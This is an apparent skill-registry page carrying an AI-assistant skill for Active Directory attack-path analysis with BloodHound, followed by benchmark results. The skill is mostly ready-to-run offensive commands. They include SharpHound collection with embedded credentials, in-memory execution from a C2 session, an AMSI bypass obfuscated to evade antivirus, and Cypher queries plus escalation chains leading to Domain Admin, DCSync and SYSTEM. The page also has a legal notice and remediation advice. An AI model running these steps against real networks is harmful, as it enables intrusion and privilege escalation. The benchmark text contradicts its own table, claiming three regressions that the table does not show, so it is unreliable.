Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Use BloodHound and SharpHound to enumerate Active Directory relationships and identify attack paths from compromised users to Domain Admin.
.claude/skills/performing-active-directory-bloodhound-analysis/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-20 | ✗→✓ | ▲ Improved | — | — |
| case-04 | ✗→✓ | ▲ Improved | — | — |
| case-07 | ✗→✓ | ▲ Improved | — | — |
| case-01 | ✗→✓ | ▲ Improved | — | — |
| case-02 | ✗→✓ | ▲ Improved | — | — |
BloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.
> Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
| Technique ID | Name | Tactic | |---|---|---| | T1087.002 | Account Discovery: Domain Account | Discovery | | T1069.002 | Permission Groups Discovery: Domain Groups | Discovery | | T1018 | Remote System Discovery | Discovery | | T1482 | Domain Trust Discovery | Discovery | | T1615 | Group Policy Discovery | Discovery | | T1069.001 | Permission Groups Discovery: Local Groups | Discovery |
powershell# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs) .\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip # Stealth mode - collect only structure data (no session enumeration) .\SharpHound.exe -c DCOnly --outputdirectory C:\Temp # Collect with specific domain and credentials .\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123 # Loop collection - collect sessions over time for better coverage .\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00 # Collect from Havoc C2 Demon session (in-memory) dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp
powershell# Import and run Import-Module .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip # AMSI bypass before loading (if needed) — strings split to avoid AV signature matching $t = 'System.Management.Automation.Am' + 'siUtils' [Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)
bash# Collect Azure AD data azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json # Or using AzureHound PowerShell Import-Module .\AzureHound.ps1 Invoke-AzureHound
bash# Start BloodHound CE with Docker curl -L https://ghst.ly/getbhce | docker compose -f - up # Access web interface at https://localhost:8080 # Default credentials: admin / bloodhound # Upload ZIP file via GUI: Upload Data > Select File
bash# Start Neo4j sudo neo4j start # Access Neo4j at http://localhost:7474 (default neo4j:neo4j) # Start BloodHound GUI ./BloodHound --no-sandbox # Drag and drop ZIP file into BloodHound GUI
cypher-- Find all Domain Admins MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n -- Shortest path from owned user to Domain Admin MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'})) RETURN p -- Find Kerberoastable users with path to DA MATCH (u:User {hasspn:true}) MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'})) RETURN p -- Find AS-REP Roastable users MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname -- Users with DCSync rights MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain) MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u) RETURN n1.name -- Find computers where Domain Users are local admin MATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p -- Find unconstrained delegation computers MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name -- Find constrained delegation abuse paths MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate -- GPO abuse paths MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer) RETURN p LIMIT 50 -- Find all sessions on high-value targets MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true}) RETURN c.name, u.name, g.name
cypher-- Find users with GenericAll on other users (password reset path) MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name -- Find WriteDACL paths (ACL abuse) MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50 -- Find AddMember rights to privileged groups MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name -- Map trust relationships MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name -- Find service accounts with admin access MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name
User (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->
Server HasSession DA -> Steal Token -> Domain AdminUser (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->
IT Admins -> AdminTo DC -> Domain AdminUser (owned) -> AdminTo Server (Unconstrained Delegation) ->
Coerce DC Auth (PrinterBug/PetitPotam) -> Capture TGT -> DCSyncUser (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->
Code Execution as SYSTEM| Finding | Risk | Remediation | |---|---|---| | Kerberoastable DA | Critical | Use gMSA, rotate passwords, AES-only | | Unconstrained Delegation | Critical | Migrate to constrained/RBCD delegation | | Domain Users local admin | High | Remove DA from local admin, use LAPS | | Excessive ACL permissions | High | Audit and reduce GenericAll/WriteDACL | | Stale admin sessions | Medium | Implement session cleanup, restrict RDP | | Cross-domain trust abuse | High | Review trust direction and SID filtering |
| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-23 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-24 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 24 cases were attempted. The headline lift of +29 percentage points is the difference between those two pass rates over the 24 comparable cases. 3 cases got worse with the skill loaded, and they are included in that figure.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.